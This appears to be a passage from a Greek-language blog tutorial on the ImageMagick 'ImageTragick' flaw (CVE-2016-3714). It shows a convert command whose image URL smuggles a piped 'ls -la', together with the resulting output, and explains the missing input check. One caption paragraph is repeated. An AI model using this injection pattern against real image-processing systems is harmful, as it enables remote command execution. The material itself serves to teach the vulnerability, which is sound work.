panos@ohsuse:~/test> convert 'https://i.imgur.com/u68Vakj.jpg"|ls "-la' image.png
total 4
drwxr-xr-x  2 panos users   71 May 18 13:15 .
drwxr-xr-x 23 panos users 4096 May 18 07:53 ..
-rw-r--r--  1 panos users    0 May 18 07:53 file1
-rw-r--r--  1 panos users    0 May 18 07:53 file2
-rw-r--r--  1 panos users    0 May 18 07:53 file3
-rw-r--r--  1 panos users    0 May 18 07:53 file4
-rw-r--r--  1 panos users    0 May 18 07:53 file5

Λοιπόν, για κάποιο λόγο πήραμε το αποτέλεσμα της εντολής ls -la. Αν αμέσως μετά δώσουμε ένα “ls -la”, θα διαπιστώσουμε ότι το αρχείο image.png έχει όντως δημιουργηθεί. Μόνο που το convert δεν περιορίστηκε στο downloading και στη μετατροπή, αλλά εκτέλεσε κι ό,τι βρισκόταν στα δεξιά του pipe. Κι αυτό, φίλες και φίλοι, είναι το exploit με κωδική ονομασία CVE-2016-3714, γνωστό κι ως ImageTragick. Ας το πούμε και λίγο διαφορετικά: Κάθε φορά που έχουμε delegation, δηλαδή προσφυγή σε εξωτερικό εργαλείο ή βιβλιοθήκη, το ImageMagick αποτυγχάνει να ελέγξει τι “κρύβει” το %M και κατά συνέπεια είναι δυνατό να εκτελέσει ακόμη και κώδικα που δεν θα έπρεπε.

Το εργαλείο convert του ImageMagick αποτυγχάνει να ελέγχει επαρκώς το URL προς μια εικόνα που πρόκειται να κατεβάσει, με αποτέλεσμα να εκτελεί κώδικα που δεν θα έπρεπε. Στο παράδειγμα, δίπλα από το URL βάζουμε τον τελεστή pipe και μετά την αθώα εντολή για προβολή των περιεχομένων του τρέχοντα καταλόγου (1). Το convert πράγματι εκτελεί την εντολή ls (2), ενώ φροντίζει κι αποθηκεύει το απομακρυσμένο αρχείο εικόνας (JPEG) στη νέα του μορφή (PNG, 3).

Το εργαλείο convert του ImageMagick αποτυγχάνει να ελέγχει επαρκώς το URL προς μια εικόνα που πρόκειται να κατεβάσει, με αποτέλεσμα να εκτελεί κώδικα που δεν θα έπρεπε. Στο παράδειγμα, δίπλα από το URL βάζουμε τον τελεστή pipe και μετά την αθώα εντολή για προβολή των περιεχομένων του τρέχοντα καταλόγου (1). Το convert πράγματι εκτελεί την εντολή ls (2), ενώ φροντίζει κι αποθηκεύει το απομακρυσμένο αρχείο εικόνας (JPEG) στη νέα του μορφή (PNG, 3).

Διαβάστε τώρα το τρίτο και τελευταίο άρθρο της σειράς μας, όπου βλέπουμε περισσότερα για το πώς εκμεταλλεύεται κάποιος το CVE-2016-3714, αλλά και τα μέτρα προστασίας που μπορούμε ν’ αναπτύξουμε.

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων